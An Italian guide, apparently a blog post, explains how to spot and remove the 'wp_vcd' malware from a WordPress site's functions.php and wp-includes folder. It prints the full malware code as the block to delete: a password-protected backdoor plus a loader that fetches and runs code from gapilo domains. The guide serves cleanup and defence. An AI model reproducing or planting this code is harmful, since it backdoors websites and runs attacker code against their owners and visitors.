Hai ricevuto una notifica dal tuo hosting che ha messo in quarantena il file functions.php o durante la navigazione sul tuo sito compaiono banner o pop-up pubblicitari? Sei stato attaccato da un malware. Tranquillo non disperare, attraverso dei semplici passaggi ti spiegherò come sbarazzarti del virus senza spendere un solo euro.

Primi Segnali
Il primo campanello d’allarme potrebbe essere la ricezione di un avviso nella tua casella di posta elettronica da parte del tuo servizio di hosting che ti informa che alcuni file sono stati messi in quarantena. Questa è la mail che si dovrebbe ricevere:

Se hai ricevuto una mail come questa e i file elencati sono gli stessi è confermato che il tuo sito sia stato attaccato dal malware “vcd”, poiché questo virus colpisce la cartella wp-includes e il file functions.php contenuto nella cartella wp-content. Per essere sicuri e prima di procedere alla rimozione accertiamoci dell’attacco controllando i file.

Cosa controllare?
Te lo spiego subito! Accedi al pannello di controllo dell’hosting (File Manager, cPanel, Plesk,etc.) o accedi ai file tramite FTP > Vai nella cartella dove è installato WordPress > Cerca queste cartelle:

  1. WP-INCLUDES, al suo interno troverai i file “wp-feed.php”, “wp-tmp.php” e “wp-vcd.php” se sei stata vittima del malware.
  2. WP-CONTENT, accedi alla cartella themes / nome del tema e apri il file php. Controlla se tra le prime stringhe di codice trovi questo:

if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] == ‘1f501615e985a65b627398d427c88767’))
{
$div_code_name=”wp_vcd”;
switch ($_REQUEST[‘action’])
{ ecc…ecc…

È l’ulteriore conferma che il tuo sito è stato attaccato.

Come rimuoverlo?
Per prima cosa rimuovi i file in quarantena indicati nella mail dal pannello di controllo dell’hosting, subito dopo dovrai eliminare nella cartella WP-INCLUDES i file: wp-feed.php”, wp-tmp.php” e wp-vcd.php”. Presta attenzione al passaggio successivo che è di fondamentale importanza.
Eliminati i file vai nella cartella WP-CONTENT e come già fatto precedentemente dovrai: accedere alla cartella themes / nome del tema, cercare il file fuctions.php e modificarlo nel pannello se è possibile o scaricarlo, modificarlo con un qualsiasi editor e caricarlo di nuovo nel pannello.

Una volta aperto o scaricato e aperto il file dovrai eliminare dalla prima riga che inizia con <?php fino a ?>, subito dopo ?> c’è <?php che NON devi assolutamente eliminare poiché da qui inizia il codice del tema.
Di seguito trovi il codice completo da rimuovere del malware (le key potrebbere variare):

<?php
if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] == ‘1f501615e985a65b627398d427c88767’))
{
$div_code_name=”wp_vcd”;
switch ($_REQUEST[‘action’])
{

case ‘change_domain’;
if (isset($_REQUEST[‘newdomain’]))
{

if (!empty($_REQUEST[‘newdomain’]))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(‘/$tmpcontent = @file_get_contents(“http://(.*)/code.php/i’,$file,$matcholddomain))
{

$file = preg_replace(‘/’.$matcholddomain[1][0].’/i’,$_REQUEST[‘newdomain’], $file);
@file_put_contents(__FILE__, $file);
print “true”;
}

}
}
}
break;

case ‘change_code’;
if (isset($_REQUEST[‘newcode’]))
{

if (!empty($_REQUEST[‘newcode’]))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(‘///$start_wp_theme_tmp([sS]*)//$end_wp_theme_tmp/i’,$file,$matcholdcode))
{

$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[‘newcode’]), $file);
@file_put_contents(__FILE__, $file);
print “true”;
}

}
}
}
break;

default: print “ERROR_WP_ACTION WP_V_CD WP_CD”;
}

die(“”);
}

$div_code_name = “wp_vcd”;
$funcfile = __FILE__;
if(!function_exists(‘theme_temp_setup’)) {
$path = $_SERVER[‘HTTP_HOST’] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER[‘REQUEST_URI’], ‘wp-cron.php’) == false && stripos($_SERVER[‘REQUEST_URI’], ‘xmlrpc.php’) == false) {

function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}

function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), “theme_temp_setup”);
$handle = fopen($tmpfname, “w+”);
if( fwrite($handle, “<?phpn” . $phpCode))
{
}
else
{
$tmpfname = tempnam(‘./’, “theme_temp_setup”);
$handle = fopen($tmpfname, “w+”);
fwrite($handle, “<?phpn” . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}

$wp_auth_key=’671f55202565d8b7050045e7ae0d758c’;
if (($tmpcontent = @file_get_contents(“http://www.gapilo.com/code.php”) OR $tmpcontent = @file_get_contents_tcurl(“http://www.gapilo.com/code.php”)) AND stripos($tmpcontent, $wp_auth_key) !== false) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . ‘wp-includes/wp-tmp.php’, $tmpcontent);

if (!file_exists(ABSPATH . ‘wp-includes/wp-tmp.php’)) {
@file_put_contents(get_template_directory() . ‘/wp-tmp.php’, $tmpcontent);
if (!file_exists(get_template_directory() . ‘/wp-tmp.php’)) {
@file_put_contents(‘wp-tmp.php’, $tmpcontent);
}
}

}
}

elseif ($tmpcontent = @file_get_contents(“http://www.gapilo.pw/code.php”) AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . ‘wp-includes/wp-tmp.php’, $tmpcontent);

if (!file_exists(ABSPATH . ‘wp-includes/wp-tmp.php’)) {
@file_put_contents(get_template_directory() . ‘/wp-tmp.php’, $tmpcontent);
if (!file_exists(get_template_directory() . ‘/wp-tmp.php’)) {
@file_put_contents(‘wp-tmp.php’, $tmpcontent);
}
}

}
}

elseif ($tmpcontent = @file_get_contents(“http://www.gapilo.top/code.php”) AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . ‘wp-includes/wp-tmp.php’, $tmpcontent);

if (!file_exists(ABSPATH . ‘wp-includes/wp-tmp.php’)) {
@file_put_contents(get_template_directory() . ‘/wp-tmp.php’, $tmpcontent);
if (!file_exists(get_template_directory() . ‘/wp-tmp.php’)) {
@file_put_contents(‘wp-tmp.php’, $tmpcontent);
}
}

}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . ‘wp-includes/wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));

} elseif ($tmpcontent = @file_get_contents(get_template_directory() . ‘/wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));

} elseif ($tmpcontent = @file_get_contents(‘wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));

}

}
}

//$start_wp_theme_tmp

//wp_tmp

//$end_wp_theme_tmp
?>

Se hai seguito ogni passaggio della procedura descritta avrai sicuramente rimosso il malware dal tuo sito, adesso ti consiglio di installare un buon antivirus nel sito (tipo Wordfence) se non l’hai già fatto e cambiare le password di accesso al pannello di controllo e backend WordPress del sito.
Se non riesci ad eliminarlo, se riscontri problemi nell’eseguire alcuni passaggi o se hai solamente paura di creare danni al sito lavorando sul codice non esitare a contattarmi subito e sarò felice di aiutarti.